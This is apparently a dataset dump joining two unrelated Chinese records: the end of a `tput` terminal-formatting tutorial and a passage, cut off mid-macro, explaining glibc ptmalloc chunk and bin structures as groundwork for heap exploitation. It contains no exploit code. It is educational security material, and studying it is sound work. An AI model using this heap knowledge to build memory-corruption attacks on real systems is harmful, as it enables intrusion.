* 4:红色
* 5:洋红色
* 6:黄色
* 7:白色
执行以下示例命令可以将背景颜色更改为黄色,将前景颜色更改为红色:
```shell
tput setb 6 tput setf 4
```
要反显当前的颜色方案,只需执行`tput rev`。
有时,仅为文本着色还不够,也就是说,您想要通过另一种方式引起用户的注意。可以通过两种方式达到这一目的:一是将文本设置为粗体,二是为文本添加下划线。
要将文本更改为粗体,请使用 bold 选项。要开始添加下划线,请使用 smul 选项。在完成显示带下划线的文本后,请使用 rmul 选项。
### 实例
使输出的字符串有颜色,底色,加粗:
```shell
#!/bin/bash
printf $(tput setaf 2; tput bold)'color show\n\n'$(tput sgr0)
for((i=0; i<=7; i++)); do
echo $(tput setaf $i)"show me the money"$(tput sgr0)
done
printf '\n'$(tput setaf 2; tput setab 0; tput bold)'background color show'$(tput sgr0)'\n\n'
for((i=0,j=7; i<=7; i++,j--)); do
echo $(tput setaf $i; tput setab $j; tput bold)"show me the money"$(tput sgr0)
done
exit 0
```
输出格式控制函数:
```shell
#!/bin/bash
# $1 str print string
# $2 color 0-7 设置颜色
# $3 bgcolor 0-7 设置背景颜色
# $4 bold 0-1 设置粗体
# $5 underline 0-1 设置下划线
function format_output(){
str=$1
color=$2
bgcolor=$3
bold=$4
underline=$5
normal=$(tput sgr0)
case "$color" in
0|1|2|3|4|5|6|7)
setcolor=$(tput setaf $color;) ;;
*)
setcolor="" ;;
esac
case "$bgcolor" in
0|1|2|3|4|5|6|7)
setbgcolor=$(tput setab $bgcolor;) ;;
*)
setbgcolor="" ;;
esac
if [ "$bold" = "1" ]; then
setbold=$(tput bold;)
else
setbold=""
fi
if [ "$underline" = "1" ]; then
setunderline=$(tput smul;)
else
setunderline=""
fi
printf "$setcolor$setbgcolor$setbold$setunderline$str$normal\n"
}
format_output "Yesterday Once more" 2 5 1 1
exit 0
```
光标属性例子:
```shell
#!/bin/bash
# clear the screen
tput clear
# Move cursor to screen location X,Y (top left is 0,0)
tput cup 3 15
# set a foreground colour using ANSI escape
tput setaf 3
echo "XYX Corp LTD."
tput sgr0
tput cup 5 17
# Set reverse video mode
tput rev
echo "M A I N - M E N U"
tput sgr0
tput cup 7 15
echo "1\. User Management"
tput cup 8 15
echo "2\. service Management"
tput cup 9 15
echo "3\. Process Management"
tput cup 10 15
echo "4\. Backup"
# Set bold mode
tput bold
tput cup 12 15
read -p "Enter your choice [1-4] " choice
tput clear
tput sgr0
tput rc
exit 0
```
|
sec-knowleage
|
# 堆相关数据结构
堆的操作就这么复杂,那么在 glibc 内部必然也有精心设计的数据结构来管理它。与堆相应的数据结构主要分为
- 宏观结构,包含堆的宏观信息,可以通过这些数据结构索引堆的基本信息。
- 微观结构,用于具体处理堆的分配与回收中的内存块。
## Overview????
**这里给一个宏观的图片。**
## 微观结构
这里首先介绍堆中比较细节的结构,**堆的漏洞利用与这些结构密切相关**。
### malloc_chunk
#### 概述
在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后,会被加入到相应的空闲管理列表中。
非常有意思的是,**无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构**。虽然它们使用了同一个数据结构,但是根据是否被释放,它们的表现形式会有所不同。
malloc_chunk 的结构如下
```c++
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
```
首先,这里给出一些必要的解释 INTERNAL_SIZE_T,SIZE_SZ,MALLOC_ALIGN_MASK:
```c
/* INTERNAL_SIZE_T is the word-size used for internal bookkeeping of
chunk sizes.
The default version is the same as size_t.
While not strictly necessary, it is best to define this as an
unsigned type, even if size_t is a signed type. This may avoid some
artificial size limitations on some systems.
On a 64-bit machine, you may be able to reduce malloc overhead by
defining INTERNAL_SIZE_T to be a 32 bit `unsigned int' at the
expense of not being able to handle more than 2^32 of malloced
space. If this limitation is acceptable, you are encouraged to set
this unless you are on a platform requiring 16byte alignments. In
this case the alignment requirements turn out to negate any
potential advantages of decreasing size_t word size.
Implementors: Beware of the possible combinations of:
- INTERNAL_SIZE_T might be signed or unsigned, might be 32 or 64 bits,
and might be the same width as int or as long
- size_t might have different width and signedness as INTERNAL_SIZE_T
- int and long might be 32 or 64 bits, and might be the same width
To deal with this, most comparisons and difference computations
among INTERNAL_SIZE_Ts should cast them to unsigned long, being
aware of the fact that casting an unsigned int to a wider long does
not sign-extend. (This also makes checking for negative numbers
awkward.) Some of these casts result in harmless compiler warnings
on some systems. */
#ifndef INTERNAL_SIZE_T
# define INTERNAL_SIZE_T size_t
#endif
/* The corresponding word size. */
#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))
/* The corresponding bit mask value. */
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
```
一般来说,size_t 在 64 位中是 64 位无符号整数,32 位中是 32 位无符号整数。
每个字段的具体的解释如下
- **prev_size**, 如果该 chunk 的**物理相邻的前一地址chunk(两个指针的地址差值为前一chunk大小)**是空闲的话,那该字段记录的是前一个 chunk 的大小(包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个chunk 的数据。**这里的前一 chunk 指的是较低地址的 chunk **。
- **size** ,该 chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响,它们从高到低分别表示
- NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1表示不属于,0表示属于。
- IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
- PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的P位都会被设置为1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲chunk之间的合并。
- **fd,bk**。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
- fd 指向下一个(非物理相邻)空闲的 chunk
- bk 指向上一个(非物理相邻)空闲的 chunk
- 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
- **fd_nextsize, bk_nextsize**,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
- fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
- bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
- 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。**这样做可以避免在寻找合适chunk 时挨个遍历。**
一个已经分配的 chunk 的样子如下。**我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。**
当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前chunk使用。**这就是chunk中的空间复用。**
```c++
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
被释放的 chunk 被记录在链表中(可能是循环双向链表,也可能是单向链表)。具体结构如下
```c++
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
可以发现,如果一个 chunk 处于 free 状态,那么会有两个位置记录其相应的大小
1. 本身的 size 字段会记录,
2. 它后面的 chunk 会记录。
**一般情况下**,物理相邻的两个空闲 chunk 会被合并为一个 chunk 。堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲 chunk 块。
**!!!一些关于堆的约束,后面详细考虑!!!**
```c++
/*
The three exceptions to all this are:
1. The special chunk `top' doesn't bother using the
trailing size field since there is no next contiguous chunk
that would have to index off it. After initialization, `top'
is forced to always exist. If it would become less than
MINSIZE bytes long, it is replenished.
2. Chunks allocated via mmap, which have the second-lowest-order
bit M (IS_MMAPPED) set in their size fields. Because they are
allocated one-by-one, each must contain its own trailing size
field. If the M bit is set, the other bits are ignored
(because mmapped chunks are neither in an arena, nor adjacent
to a freed chunk). The M bit is also used for chunks which
originally came from a dumped heap via malloc_set_state in
hooks.c.
3. Chunks in fastbins are treated as allocated chunks from the
point of view of the chunk allocator. They are consolidated
with their neighbors only in bulk, in malloc_consolidate.
*/
```
#### chunk相关宏
这里主要介绍 chunk 的大小、对齐检查以及一些转换的宏。
**chunk 与 mem 指针头部的转换**
mem指向用户得到的内存的起始位置。
```c++
/* conversion from malloc headers to user pointers, and back */
#define chunk2mem(p) ((void *) ((char *) (p) + 2 * SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char *) (mem) -2 * SIZE_SZ))
```
**最小的 chunk 大小**
```c++
/* The smallest possible chunk */
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))
```
这里,offsetof 函数计算出 fd_nextsize 在 malloc_chunk 中的偏移,说明最小的 chunk 至少要包含 bk 指针。
**最小申请的堆内存大小**
用户最小申请的内存大小必须是 2 * SIZE_SZ 的最小整数倍。
**注:就目前而看 MIN_CHUNK_SIZE 和 MINSIZE 大小是一致的,个人认为之所以要添加两个宏是为了方便以后修改 malloc_chunk 时方便一些。**
```c++
/* The smallest size we can malloc is an aligned minimal chunk */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define MINSIZE \
(unsigned long) (((MIN_CHUNK_SIZE + MALLOC_ALIGN_MASK) & \
~MALLOC_ALIGN_MASK))
```
**检查分配给用户的内存是否对齐**
2 * SIZE_SZ 大小对齐。
```c++
/* Check if m has acceptable alignment */
// MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define aligned_OK(m) (((unsigned long) (m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem(p)) & \
MALLOC_ALIGN_MASK)
```
**请求字节数判断**
```c++
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/
#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
```
**将用户请求内存大小转为实际分配内存大小**
```c++
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Same, except also perform argument check */
#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);
```
当一个 chunk 处于已分配状态时,它的物理相邻的下一个 chunk 的 prev_size 字段必然是无效的,故而这个字段就可以被当前这个 chunk 使用。这就是 ptmalloc 中 chunk 间的复用。具体流程如下
1. 首先,利用 REQUEST_OUT_OF_RANGE 判断是否可以分配用户请求的字节大小的 chunk。
2. 其次,需要注意的是用户请求的字节是用来存储数据的,即 chunk header 后面的部分。与此同时,由于chunk 间复用,所以可以使用下一个 chunk 的 prev_size 字段。因此,这里只需要再添加 SIZE_SZ 大小即可以完全存储内容。
3. 由于系统中所允许的申请的 chunk 最小是 MINSIZE,所以与其进行比较。如果不满足最低要求,那么就需要直接分配MINSIZE字节。
4. 如果大于的话,因为系统中申请的 chunk 需要 2 * SIZE_SZ 对齐,所以这里需要加上MALLOC_ALIGN_MASK 以便于对齐。
**个人认为,这里在 request2size 的宏的第一行中没有必要加上 MALLOC_ALIGN_MASK。**
**需要注意的是,通过这样的计算公式得到的 size 最终一定是满足用户需要的。**
**标记位相关**
```c++
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
/*
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
**获取chunk size**
```c++
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
```
**获取下一个物理相邻的chunk**
```c++
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
```
**获取前一个chunk的信息**
```c++
/* Size of the chunk below P. Only valid if !prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Set the size of the chunk below P. Only valid if !prev_inuse (P). */
#define set_prev_size(p, sz) ((p)->mchunk_prev_size = (sz))
/* Ptr to previous physical malloc_chunk. Only valid if !prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
```
**当前chunk使用状态相关操作**
```c++
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size &= ~(PREV_INUSE)
```
**设置chunk的size字段**
```c++
/* Set size at head, without disturbing its use bit */
// SIZE_BITS = 7
#define set_head_size(p, s) \
((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
/* Set size/use field */
#define set_head(p, s) ((p)->mchunk_size = (s))
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) \
(((mchunkptr)((char *) (p) + (s)))->mchunk_prev_size = (s))
```
**获取指定偏移的chunk**
```c++
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))
```
**指定偏移处chunk使用状态相关操作**
```c++
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr)(((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr)(((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr)(((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
### bin
#### 概述
我们曾经说过,用户释放掉的 chunk 不会马上归还给系统,ptmalloc 会统一管理 heap 和 mmap 映射区域中的空闲的chunk。当用户再一次请求分配内存时,ptmalloc 分配器会试图在空闲的chunk中挑选一块合适的给用户。这样可以避免频繁的系统调用,降低内存分配的开销。
在具体的实现中,ptmalloc 采用分箱式方法对空闲的 chunk 进行管理。首先,它会根据空闲的 chunk 的大小以及使用状态将 chunk 初步分为4类:fast bins,small bins,large bins,unsorted bin。每类中仍然有更细的划分,相似大小的 chunk 会用双向链表链接起来。也就是说,在每类 bin 的内部仍然会有多个互不相关的链表来保存不同大小的 chunk。
对于 small bins,large bins,unsorted bin 来说,ptmalloc 将它们维护在同一个数组中。这些bin对应的数据结构在 malloc_state 中,如下
```c++
#define NBINS 128
/* Normal bins packed as described above */
mchunkptr bins[ NBINS * 2 - 2 ];
```
`bins` 主要用于索引不同 bin 的 fd 和 bk。以 32 位系统为例,bins 前 4 项的含义如下
| 含义 | bin1的fd/bin2的prev_size | bin1的bk/bin2的size | bin2的fd/bin3的prev_size | bin2的bk/bin3的size |
| ----- | ---------------------- | ----------------- | ---------------------- | ----------------- |
| bin下标 | 0 | 1 | 2 | 3 |
可以看到,bin2 的 prev_size、size 和 bin1 的 fd、bk 是重合的。由于我们只会使用 fd 和 bk 来索引链表,所以该重合部分的数据其实记录的是 bin1 的 fd、bk。 也就是说,虽然后一个 bin 和前一个 bin 共用部分数据,但是其实记录的仍然是前一个 bin 的链表数据。通过这样的复用,可以节省空间。
数组中的 bin 依次如下
1. 第一个为 unsorted bin,字如其面,这里面的 chunk 没有进行排序,存储的 chunk 比较杂。
2. 索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。两个相邻索引的 small bin 链表中的 chunk 大小相差的字节数为**2个机器字长**,即32位相差8字节,64位相差16字节。
3. small bins 后面的 bin 被称作 large bins。large bins 中的每一个 bin 都包含一定范围内的 chunk,其中的chunk 按 fd 指针的顺序从大到小排列。相同大小的chunk同样按照最近使用顺序排列。
此外,上述这些bin的排布都会遵循一个原则:**任意两个物理相邻的空闲chunk不能在一起**。
需要注意的是,并不是所有的 chunk 被释放后就立即被放到 bin 中。ptmalloc 为了提高分配的速度,会把一些小的 chunk **先**放到 fast bins 的容器内。**而且,fastbin 容器中的 chunk 的使用标记总是被置位的,所以不满足上面的原则。**
bin 通用的宏如下
```c++
typedef struct malloc_chunk *mbinptr;
/* addressing -- note that bin_at(0) does not exist */
#define bin_at(m, i) \
(mbinptr)(((char *) &((m)->bins[ ((i) -1) * 2 ])) - \
offsetof(struct malloc_chunk, fd))
/* analog of ++bin */
//获取下一个bin的地址
#define next_bin(b) ((mbinptr)((char *) (b) + (sizeof(mchunkptr) << 1)))
/* Reminders about list directionality within bins */
// 这两个宏可以用来遍历bin
// 获取 bin 的位于链表头的 chunk
#define first(b) ((b)->fd)
// 获取 bin 的位于链表尾的 chunk
#define last(b) ((b)->bk)
```
#### Fast Bin
大多数程序经常会申请以及释放一些比较小的内存块。如果将一些较小的 chunk 释放之后发现存在与之相邻的空闲的 chunk 并将它们进行合并,那么当下一次再次申请相应大小的 chunk 时,就需要对 chunk 进行分割,这样就大大降低了堆的利用效率。**因为我们把大部分时间花在了合并、分割以及中间检查的过程中。**因此,ptmalloc 中专门设计了 fast bin,对应的变量就是 malloc state 中的 fastbinsY
```c++
/*
Fastbins
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
typedef struct malloc_chunk *mfastbinptr;
/*
This is in malloc_state.
/* Fastbins */
mfastbinptr fastbinsY[ NFASTBINS ];
*/
```
为了更加高效地利用 fast bin,glibc 采用单向链表对其中的每个 bin 进行组织,并且**每个 bin 采取 LIFO 策略**,最近释放的 chunk 会更早地被分配,所以会更加适合于局部性。也就是说,当用户需要的 chunk 的大小小于 fastbin 的最大大小时, ptmalloc 会首先判断 fastbin 中相应的 bin 中是否有对应大小的空闲块,如果有的话,就会直接从这个 bin 中获取 chunk。如果没有的话,ptmalloc才会做接下来的一系列操作。
默认情况下(**32位系统为例**), fastbin 中默认支持最大的 chunk 的数据空间大小为 64 字节。但是其可以支持的chunk的数据空间最大为80字节。除此之外, fastbin 最多可以支持的 bin 的个数为 10 个,从数据空间为 8 字节开始一直到 80 字节(注意这里说的是数据空间大小,也即除去 prev_size 和 size 字段部分的大小)定义如下
```c++
#define NFASTBINS (fastbin_index(request2size(MAX_FAST_SIZE)) + 1)
#ifndef DEFAULT_MXFAST
#define DEFAULT_MXFAST (64 * SIZE_SZ / 4)
#endif
/* The maximum fastbin request size we support */
#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
/*
Since the lowest 2 bits in max_fast don't matter in size comparisons,
they are used as flags.
*/
/*
FASTCHUNKS_BIT held in max_fast indicates that there are probably
some fastbin chunks. It is set true on entering a chunk into any
fastbin, and cleared only in malloc_consolidate.
The truth value is inverted so that have_fastchunks will be true
upon startup (since statics are zero-filled), simplifying
initialization checks.
*/
//判断分配区是否有 fast bin chunk,1表示没有
#define FASTCHUNKS_BIT (1U)
#define have_fastchunks(M) (((M)->flags & FASTCHUNKS_BIT) == 0)
#define clear_fastchunks(M) catomic_or(&(M)->flags, FASTCHUNKS_BIT)
#define set_fastchunks(M) catomic_and(&(M)->flags, ~FASTCHUNKS_BIT)
/*
NONCONTIGUOUS_BIT indicates that MORECORE does not return contiguous
regions. Otherwise, contiguity is exploited in merging together,
when possible, results from consecutive MORECORE calls.
The initial value comes from MORECORE_CONTIGUOUS, but is
changed dynamically if mmap is ever used as an sbrk substitute.
*/
// MORECORE是否返回连续的内存区域。
// 主分配区中的MORECORE其实为sbr(),默认返回连续虚拟地址空间
// 非主分配区使用mmap()分配大块虚拟内存,然后进行切分来模拟主分配区的行为
// 而默认情况下mmap映射区域是不保证虚拟地址空间连续的,所以非主分配区默认分配非连续虚拟地址空间。
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
/* ARENA_CORRUPTION_BIT is set if a memory corruption was detected on the
arena. Such an arena is no longer used to allocate chunks. Chunks
allocated in that arena before detecting corruption are not freed. */
#define ARENA_CORRUPTION_BIT (4U)
#define arena_is_corrupt(A) (((A)->flags & ARENA_CORRUPTION_BIT))
#define set_arena_corrupt(A) ((A)->flags |= ARENA_CORRUPTION_BIT)
/*
Set value of max_fast.
Use impossibly small value if 0.
Precondition: there are no existing fastbin chunks.
Setting the value clears fastchunk bit but preserves noncontiguous bit.
*/
#define set_max_fast(s) \
global_max_fast = \
(((s) == 0) ? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
#define get_max_fast() global_max_fast
```
ptmalloc 默认情况下会调用 set_max_fast(s) 将全局变量 global_max_fast 设置为 DEFAULT_MXFAST,也就是设置 fast bins 中 chunk 的最大值。当 MAX_FAST_SIZE 被设置为 0 时,系统就不会支持 fastbin 。
**fastbin的索引**
```c++
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[ idx ])
/* offset 2 to use otherwise unindexable first 2 bins */
// chunk size=2*size_sz*(2+idx)
// 这里要减2,否则的话,前两个bin没有办法索引到。
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
```
**需要特别注意的是,fastbin 范围的 chunk 的 inuse 始终被置为 1。因此它们不会和其它被释放的 chunk 合并。**
但是当释放的 chunk 与该 chunk 相邻的空闲 chunk 合并后的大小大于FASTBIN_CONSOLIDATION_THRESHOLD时,内存碎片可能比较多了,我们就需要把 fast bins 中的chunk都进行合并,以减少内存碎片对系统的影响。
```c++
/*
FASTBIN_CONSOLIDATION_THRESHOLD is the size of a chunk in free()
that triggers automatic consolidation of possibly-surrounding
fastbin chunks. This is a heuristic, so the exact value should not
matter too much. It is defined at half the default trim threshold as a
compromise heuristic to only attempt consolidation if it is likely
to lead to trimming. However, it is not dynamically tunable, since
consolidation reduces fragmentation surrounding large chunks even
if trimming is not used.
*/
#define FASTBIN_CONSOLIDATION_THRESHOLD (65536UL)
```
**malloc_consolidate 函数可以将 fastbin 中所有能和其它 chunk 合并的 chunk 合并在一起。具体地参见后续的详细函数的分析。**
```
/*
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
```
#### Small Bin
small bins 中每个 chunk 的大小与其所在的 bin 的 index 的关系为:chunk_size = 2 * SIZE_SZ *index,具体如下
| 下标 | SIZE_SZ=4(32位) | SIZE_SZ=8(64位) |
| ---- | -------------- | -------------- |
| 2 | 16 | 32 |
| 3 | 24 | 48 |
| 4 | 32 | 64 |
| 5 | 40 | 80 |
| x | 2\*4\*x | 2\*8\*x |
| 63 | 504 | 1008 |
small bins 中一共有 62 个循环双向链表,每个链表中存储的 chunk 大小都一致。比如对于 32 位系统来说,下标 2 对应的双向链表中存储的 chunk 大小为均为 16 字节。每个链表都有链表头结点,这样可以方便对于链表内部结点的管理。此外,**small bins 中每个 bin 对应的链表采用 FIFO 的规则**,所以同一个链表中先被释放的 chunk 会先被分配出去。
small bin相关的宏如下
```c++
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
// 是否需要对small bin的下标进行纠正
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
//判断chunk的大小是否在small bin范围内
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
// 根据chunk的大小得到small bin对应的索引。
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) \
: (((unsigned) (sz)) >> 3)) + \
SMALLBIN_CORRECTION)
```
**或许,大家会很疑惑,那 fastbin 与 small bin 中 chunk 的大小会有很大一部分重合啊,那 small bin 中对应大小的 bin 是不是就没有什么作用啊?** 其实不然,fast bin 中的 chunk 是有可能被放到 small bin 中去的,我们在后面分析具体的源代码时会有深刻的体会。
#### Large Bin
large bins 中一共包括 63 个 bin,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内。此外,这 63 个 bin 被分成了 6 组,每组 bin 中的 chunk 大小之间的公差一致,具体如下:
| 组 | 数量 | 公差 |
| ---- | ---- | ------- |
| 1 | 32 | 64B |
| 2 | 16 | 512B |
| 3 | 8 | 4096B |
| 4 | 4 | 32768B |
| 5 | 2 | 262144B |
| 6 | 1 | 不限制 |
这里我们以 32 位平台的 large bin 为例,第一个 large bin 的起始 chunk 大小为 512 字节,位于第一组,所以该bin 可以存储的 chunk 的大小范围为 [512,512+64)。
关于 large bin 的宏如下,这里我们以 32 位平台下,第一个 large bin 的起始 chunk 大小为例,为 512 字节,那么 512>>6 = 8,所以其下标为56+8=64。
```c++
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) \
? 56 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
